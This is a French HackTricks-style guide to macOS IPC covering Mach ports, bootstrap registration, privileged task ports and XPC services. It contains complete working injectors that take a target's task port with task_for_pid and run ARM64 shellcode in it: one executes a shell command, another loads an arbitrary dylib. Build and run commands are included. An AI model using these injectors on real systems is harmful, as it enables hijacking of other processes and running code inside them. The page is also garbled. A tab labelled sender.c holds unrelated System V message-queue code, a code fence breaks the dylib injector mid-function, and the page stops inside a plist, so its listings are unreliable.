hacktricks/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md

# macOS IPC - Communication inter-processus

<details>

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</details>

## Messagerie Mach via les ports

Mach utilise des **tâches** comme **plus petite unité** pour partager des ressources, et chaque tâche peut contenir **plusieurs threads**. Ces **tâches et threads sont mappés 1:1 sur les processus et threads POSIX**.

La communication entre les tâches se fait via la Communication Inter-Processus (IPC) de Mach, en utilisant des canaux de communication unidirectionnels. Les **messages sont transférés entre les ports**, qui agissent comme des **files d'attente de messages** gérées par le noyau.

Les droits de port, qui définissent les opérations qu'une tâche peut effectuer, sont essentiels pour cette communication. Les **droits de port possibles** sont :

* Le **droit de réception**, qui permet de recevoir les messages envoyés au port. Les ports Mach sont des files d'attente MPSC (multiple-producteur, unique-consommateur), ce qui signifie qu'il ne peut y avoir qu'un seul droit de réception pour chaque port dans tout le système (contrairement aux tubes, où plusieurs processus peuvent tous détenir des descripteurs de fichier pour l'extrémité de lecture d'un tube).
* Une **tâche avec le droit de réception** peut recevoir des messages et **créer des droits d'envoi**, ce qui lui permet d'envoyer des messages. À l'origine, seule la **propre tâche a le droit de réception sur son port**.
* Le **droit d'envoi**, qui permet d'envoyer des messages au port.
* Le **droit d'envoi unique**, qui permet d'envoyer un seul message au port, puis disparaît.
* Le **droit d'ensemble de ports**, qui indique un _ensemble de ports_ plutôt qu'un seul port. Le défilement d'un message à partir d'un ensemble de ports défile un message à partir de l'un des ports qu'il contient. Les ensembles de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme `select`/`poll`/`epoll`/`kqueue` dans Unix.
* Le **nom mort**, qui n'est pas un droit de port réel, mais simplement un espace réservé. Lorsqu'un port est détruit, tous les droits de port existants sur le port se transforment en noms morts.

**Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche peut dupliquer et donner le droit à une troisième tâche**. Cela, combiné à un processus intermédiaire appelé le **serveur d'amorçage**, permet une communication efficace entre les tâches.

#### Étapes :

Comme mentionné, pour établir le canal de communication, le **serveur d'amorçage** (**launchd** sur Mac) est impliqué.

1. La tâche **A** lance un **nouveau port**, obtenant un **droit de réception** dans le processus.
2. La tâche **A**, étant le détenteur du droit de réception, **génère un droit d'envoi pour le port**.
3. La tâche **A** établit une **connexion** avec le **serveur d'amorçage**, fournissant le **nom de service du port** et le **droit d'envoi** via une procédure appelée enregistrement d'amorçage.
4. La tâche **B** interagit avec le **serveur d'amorçage** pour exécuter une **recherche d'amorçage pour le service**. Si cela réussit, le **serveur duplique le droit d'envoi** reçu de la tâche A et **le transmet à la tâche B**.
5. Une fois qu'il a acquis un droit d'envoi, la tâche **B** est capable de **formuler** un **message** et de l'envoyer **à la tâche A**.

Le serveur d'amorçage ne peut pas authentifier le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **usurper n'importe quelle tâche système**, en revendiquant faussement un nom de service d'autorisation, puis en approuvant chaque demande.

Ensuite, Apple stocke les **noms des services fournis par le système** dans des fichiers de configuration sécurisés, situés dans des répertoires protégés par SIP : `/System/Library/LaunchDaemons` et `/System/Library/LaunchAgents`. À côté de chaque nom de service, le **binaire associé est également stocké**. Le serveur d'amorçage créera et détiendra un **droit de réception pour chacun de ces noms de service**.

Pour ces services prédéfinis, le **processus de recherche diffère légèrement**. Lorsqu'un nom de service est recherché, launchd lance le service dynamiquement. Le nouveau flux de travail est le suivant :

* La tâche **B** lance une **recherche d'amorçage** pour un nom de service.
* **launchd** vérifie si la tâche est en cours d'exécution et si ce n'est pas le cas, la **démarre**.
* La tâche **A** (le service) effectue un **enregistrement d'amorçage**. Ici, le **serveur d'amorçage** crée un droit d'envoi, le conserve et **transfère le droit de réception à la tâche A**.
* launchd duplique le **droit d'envoi et l'envoie à la tâche B**.

Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non système fonctionnent toujours comme décrit initialement, ce qui pourrait potentiellement permettre l'usurpation.
### Exemple de code

Notez comment l'**expéditeur** **alloue** un port, crée un **droit d'envoi** pour le nom `org.darlinghq.example` et l'envoie au **serveur d'amorçage** tandis que l'expéditeur demande le **droit d'envoi** de ce nom et l'utilise pour **envoyer un message**.

{% tabs %}
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{% tab title="sender.c" %}

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define MAX_TEXT 512

struct msgbuf {
    long mtype;
    char mtext[MAX_TEXT];
};

int main() {
    int msgid;
    struct msgbuf msg;

    // Create a message queue
    msgid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if (msgid == -1) {
        perror("msgget");
        exit(1);
    }

    // Set the message type
    msg.mtype = 1;

    // Set the message text
    strncpy(msg.mtext, "Hello, receiver!", MAX_TEXT);

    // Send the message
    if (msgsnd(msgid, &msg, sizeof(msg.mtext), 0) == -1) {
        perror("msgsnd");
        exit(1);
    }

    printf("Message sent: %s\n", msg.mtext);

    // Remove the message queue
    if (msgctl(msgid, IPC_RMID, NULL) == -1) {
        perror("msgctl");
        exit(1);
    }

    return 0;
}
```

{% endtab %}

{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{% endtab %}
{% endtabs %}

### Ports privilégiés

* **Port hôte**: Si un processus a le **privilège d'envoi** sur ce port, il peut obtenir des **informations** sur le **système** (par exemple, `host_processor_info`).
* **Port privilégié de l'hôte**: Un processus avec le droit d'**envoi** sur ce port peut effectuer des **actions privilégiées** telles que le chargement d'une extension du noyau. Le **processus doit être root** pour obtenir cette permission.
* De plus, pour appeler l'API **`kext_request`**, il est nécessaire de disposer de l'autorisation **`com.apple.private.kext`**, qui n'est accordée qu'aux binaires Apple.
* **Port du nom de la tâche**: Une version non privilégiée du _port de la tâche_. Il fait référence à la tâche, mais ne permet pas de la contrôler. La seule chose qui semble être disponible à travers lui est `task_info()`.
* **Port de la tâche** (alias port du noyau)**:** Avec l'autorisation d'envoi sur ce port, il est possible de contrôler la tâche (lecture/écriture de mémoire, création de threads...).
* Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port n'est **hérité** qu'à travers **`exec()`** ; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse de l'échange de port"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) tout en effectuant un `fork()`.
* Voici les restrictions d'accès au port (à partir de `macos_task_policy` du binaire `AppleMobileFileIntegrity`):
* Si l'application a l'**autorisation `com.apple.security.get-task-allow`**, les processus de l'**utilisateur peuvent accéder au port de la tâche** (généralement ajouté par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production.
* Les applications ayant l'**autorisation `com.apple.system-task-ports`** peuvent obtenir le **port de la tâche pour n'importe quel** processus, sauf le noyau. Dans les anciennes versions, cela s'appelait **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple.
* **Root peut accéder aux ports de tâche** des applications **non** compilées avec un **runtime renforcé** (et non provenant d'Apple).

### Injection de code Shell via le port de la tâche&#x20;

Vous pouvez obtenir un code shell à partir de :

{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}

{% tabs %}
{% tab title="mysleep.m" %}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]);
[NSThread sleepForTimeInterval:99999];
}
return 0;
}
```
{% tab title="entitlements.plist" %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}

**Compilez** le programme précédent et ajoutez les **droits** nécessaires pour pouvoir injecter du code avec le même utilisateur (sinon vous devrez utiliser **sudo**).

<details>

<summary>injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>


#ifdef __arm64__

kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);

kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";


int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}


// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask,                   // Task port
remoteCode64,                 // Virtual Address (Destination)
(vm_address_t) injectedCode,  // Source
0xa9);                       // Length of the source


if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}


// Set the permissions on the allocated code memory
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}

// Set the permissions on the allocated stack memory
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}

// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8;  // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}

return (0);
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid>", argv[0]);
return 1;
}

pid_t pid = atoi(argv[1]);
inject(pid);
}

return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pid-of-mysleep>
```
### Injection de dylib via le port de tâche

Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'API **posix `pthread`**. Le thread que nous avons généré lors de l'injection précédente a été généré en utilisant l'API Mach, donc **il n'est pas conforme à posix**.

Il était possible d'**injecter un simple shellcode** pour exécuter une commande car cela **ne nécessitait pas de travailler avec des APIs conformes à posix**, seulement avec Mach. Des **injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**.

Par conséquent, pour **améliorer le shellcode**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger notre dylib** à partir du système.

Vous pouvez trouver des **exemples de dylibs** dans (par exemple celui qui génère un journal que vous pouvez ensuite écouter) :

{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}

<details>

<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>

#include <sys/stat.h>
#include <pthread.h>


#ifdef __arm64__
//#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);

kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128


char injectedCode[] =

"\x00\x00\x20\xd4" // BRK X0     ; // useful if you need a break :)

// Call pthread_set_self

"\xff\x83\x00\xd1" // SUB SP, SP, #0x20         ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10        ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10         ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP                ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0                ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14              ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0                ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44               ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8                    ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop              ; loop forever

// Call dlopen with the path to the library
"\xC0\x01\x00\x10"  // ADR X0, #56  ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58"  // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2"  // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91"  // ADD   x9, x9, 0  - I left this as a nop
"\x00\x01\x3f\xd6"  // BLR X8     ; do dlopen()

// Call pthread_exit
"\xA8\x00\x00\x58"  // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2"  // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6"  // BLR X8     ; do pthread_exit

"PTHRDCRT"  // <-
"PTHRDEXT"  // <-
"DLOPEN__"  // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;




int inject(pid_t pid, const char *lib) {

task_t remoteTask;
struct stat buf;

// Check if the library exists
int rc = stat (lib, &buf);

if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}


// Patch shellcode

int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{

// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;


uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit  @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
```c
if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
    memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
    printf("Pthread create depuis le thread mach @%llx\n", addrOfPthreadCreate);
}

if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
    printf("DLOpen @%llx\n", addrOfDlopen);
    memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}

if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
    strcpy(possiblePatchLocation, lib);
}
}

// Écrire le shellcode dans la mémoire allouée
kr = mach_vm_write(remoteTask,                   // Port de la tâche
                   remoteCode64,                 // Adresse virtuelle (Destination)
                   (vm_address_t) injectedCode,  // Source
                   0xa9);                       // Longueur de la source

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "Impossible d'écrire dans la mémoire du thread distant : Erreur %s\n", mach_error_string(kr));
    return (-3);
}

// Définir les autorisations sur la mémoire allouée pour le code
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "Impossible de définir les autorisations de mémoire pour le code du thread distant : Erreur %s\n", mach_error_string(kr));
    return (-4);
}

// Définir les autorisations sur la mémoire allouée pour la pile
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "Impossible de définir les autorisations de mémoire pour la pile du thread distant : Erreur %s\n", mach_error_string(kr));
    return (-4);
}

// Créer un thread pour exécuter le shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));

remoteStack64 += (STACK_SIZE / 2); // c'est la vraie pile
//remoteStack64 -= 8;  // besoin d'un alignement de 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf("Pile distante 64  0x%llx, le code distant est %p\n", remoteStack64, p);

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
                           (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);

if (kr != KERN_SUCCESS) {
    fprintf(stderr, "Impossible de créer un thread distant : erreur %s", mach_error_string(kr));
    return (-3);
}

return (0);
}

int main(int argc, const char * argv[])
{
if (argc < 3)
{
    fprintf(stderr, "Utilisation : %s _pid_ _action_\n", argv[0]);
    fprintf(stderr, "   _action_ : chemin vers un dylib sur le disque\n");
    exit(0);
}

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat(action, &buf);
if (rc == 0) inject(pid, action);
else
{
    fprintf(stderr, "Dylib introuvable\n");
}
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Injection de thread via le port de tâche <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
{% endcontent-ref %}

## XPC

### Informations de base

XPC, qui signifie Communication inter-processus XNU (le noyau utilisé par macOS), est un framework pour la **communication entre processus** sur macOS et iOS. XPC fournit un mécanisme pour effectuer des **appels de méthode asynchrones et sécurisés entre différents processus** du système. Il fait partie du paradigme de sécurité d'Apple, permettant la **création d'applications avec des privilèges séparés** où chaque **composant** s'exécute avec **seulement les autorisations nécessaires** pour effectuer son travail, limitant ainsi les dommages potentiels d'un processus compromis.

XPC utilise une forme de communication inter-processus (IPC), qui est un ensemble de méthodes permettant à différents programmes s'exécutant sur le même système d'échanger des données.

Les principaux avantages de XPC sont les suivants :

1. **Sécurité** : En séparant le travail en différents processus, chaque processus peut se voir accorder uniquement les autorisations dont il a besoin. Cela signifie que même si un processus est compromis, il a une capacité limitée à causer des dommages.
2. **Stabilité** : XPC aide à isoler les plantages dans le composant où ils se produisent. Si un processus plante, il peut être redémarré sans affecter le reste du système.
3. **Performance** : XPC permet une concurrence facile, car différentes tâches peuvent être exécutées simultanément dans différents processus.

Le seul **inconvénient** est que **séparer une application en plusieurs processus** qui communiquent via XPC est **moins efficace**. Mais dans les systèmes d'aujourd'hui, cela n'est presque pas perceptible et les avantages sont bien meilleurs.

Un exemple peut être observé dans QuickTime Player, où un composant utilisant XPC est responsable du décodage vidéo. Le composant est spécifiquement conçu pour effectuer des tâches de calcul, ainsi, en cas de violation, il ne fournirait aucun gain utile à l'attaquant, tel que l'accès aux fichiers ou au réseau.

### Services XPC spécifiques à l'application

Les composants XPC d'une application se trouvent **à l'intérieur de l'application elle-même**. Par exemple, dans Safari, vous pouvez les trouver dans **`/Applications/Safari.app/Contents/XPCServices`**. Ils ont l'extension **`.xpc`** (comme **`com.apple.Safari.SandboxBroker.xpc`**) et sont **également des bundles** avec le binaire principal à l'intérieur : `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`

Comme vous pouvez le penser, un **composant XPC aura des autorisations et des privilèges différents** des autres composants XPC ou du binaire principal de l'application. SAUF si un service XPC est configuré avec [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) défini sur "True" dans son fichier **Info.plist**. Dans ce cas, le service XPC s'exécutera dans la même session de sécurité que l'application qui l'a appelé.

Les services XPC sont **démarrés** par **launchd** lorsque cela est nécessaire et **arrêtés** une fois que toutes les tâches sont **terminées** pour libérer les ressources système. Les composants XPC spécifiques à l'application ne peuvent être utilisés que par l'application, réduisant ainsi les risques liés aux vulnérabilités potentielles.

### Services XPC à l'échelle du système

Les services XPC à l'échelle du système sont accessibles à tous les utilisateurs. Ces services, qu'ils soient de type launchd ou Mach, doivent être **définis dans des fichiers plist** situés dans des répertoires spécifiés tels que **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** ou **`/Library/LaunchAgents`**.

Ces fichiers plist auront une clé appelée **`MachServices`** avec le nom du service, et une clé appelée **`Program`** avec le chemin vers le binaire :
```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Program</key>
<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
<key>AbandonProcessGroup</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.jamf.management.daemon</string>
<key>MachServices</key>
<dict>
<key>com.jamf.management.daemon.aad</key>
<true/>
